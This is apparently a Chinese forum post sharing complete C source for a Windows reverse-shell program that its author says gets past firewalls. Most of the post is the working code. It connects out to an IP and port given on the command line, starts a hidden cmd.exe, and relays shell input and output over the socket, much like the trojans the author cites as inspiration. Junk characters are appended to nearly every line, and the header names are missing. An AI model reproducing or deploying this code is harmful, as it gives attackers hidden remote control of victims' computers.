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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dvM%" k  
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/* ============================== %OsxXO?  
Rebound port in Windows NT 6a<zZO`Z6+  
By wind,2006/7 6Jq3l_  
===============================*/ I1#MS4;$^  
#include 6 FN#Xg  
#include DJ9x?SL@KD  
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#pragma comment(lib,"wsock32.lib") Omi/sKFMi  
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void OutputShell(); :G#+ 5 }  
SOCKET sClient; 5,4m_fBoW  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {9@u:(<X9  
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void main(int argc,char **argv) rP}[>  
{ i5=~tS  
WSADATA stWsaData; @t;726  
int nRet; $wn0oIuW  
SOCKADDR_IN stSaiClient,stSaiServer; [k0/ZfFwV  
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if(argc != 3) tLxeq?Oo]  
{ ! >V)x  
printf("Useage:\n\rRebound DestIP DestPort\n"); , 6Jw   
return; Qm=iCZ|E^!  
} _''un3eCY  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^KnK \  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EqGpo_  
~ivOSr7s}  
stSaiClient.sin_family = AF_INET; gX7R-&[UD  
stSaiClient.sin_port = htons(0); IT)3Et@Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C#4_`4{  
o@7U4#E  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c%bzrYQvA;  
{ N:okt)q:%  
printf("Bind Socket Failed!\n"); RehraY3q  
return; GwfCl{l  
} $7ix(WL<%  
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stSaiServer.sin_family = AF_INET; I!Z"X&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [ [w |  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !A1~{G2VL_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2wDDVUwyB  
{ + ~5P7dh6  
printf("Connect Error!"); n I&p.i6  
return; ,tcUJ}l  
} x$bUd 9  
OutputShell(); aL`wz !  
} "<{|ni}  
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void OutputShell() TVx `&C+  
{ ~**x_ v  
char szBuff[1024]; K[ [6A:  
SECURITY_ATTRIBUTES stSecurityAttributes; C\aHr!  
OSVERSIONINFO stOsversionInfo; vf$IF|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ji ./m8(  
STARTUPINFO stStartupInfo; p:K%-^  
char *szShell; 4obW>  
PROCESS_INFORMATION stProcessInformation; 0?( uqjD:  
unsigned long lBytesRead; Goc?HR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ."=%]l 0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aidQ,(PDj  
stSecurityAttributes.lpSecurityDescriptor = 0; "bDj 00nwh  
stSecurityAttributes.bInheritHandle = TRUE; AFm9"mQrw  
Kvo&_:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HZZZ [km  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P.5l9N s(O  
jU7[z$GX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); * Ogf6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *U]&a^N  
stStartupInfo.wShowWindow = SW_HIDE; xY#J((-iH  
stStartupInfo.hStdInput = hReadPipe; J{-`&I'b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 11YJ W-V  
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GetVersionEx(&stOsversionInfo); VgODv  
1:<(Q2X%  
switch(stOsversionInfo.dwPlatformId) rhy-o?  
{ } `r.fD  
case 1: 5lJL[{  
szShell = "command.com"; ^/#G,MxNy  
break; N0-J=2  
default: N0Y4m_dm*  
szShell = "cmd.exe"; 'QxJU$  
break; 7U_ob"`JV  
} fn=A_ i  
,LN^Zx*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w5{l-Z  
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send(sClient,szMsg,77,0); r A(A$VR  
while(1) "mQcc }8  
{ "n` z`{<n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <<CWN(hQWO  
if(lBytesRead) j&_>_*.y  
{ yDKH;o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7/51_=%kR  
send(sClient,szBuff,lBytesRead,0); DAP/  
} NytTyk)  
else y|KQ`;  
{ L;u5  
lBytesRead=recv(sClient,szBuff,1024,0); Wp8>Gfb2  
if(lBytesRead<=0) break; Ycspdl+(S$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v N\[2r%S  
} V%PQlc.X  
} ?o?$HK   
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return; }Le]qoW['  
}
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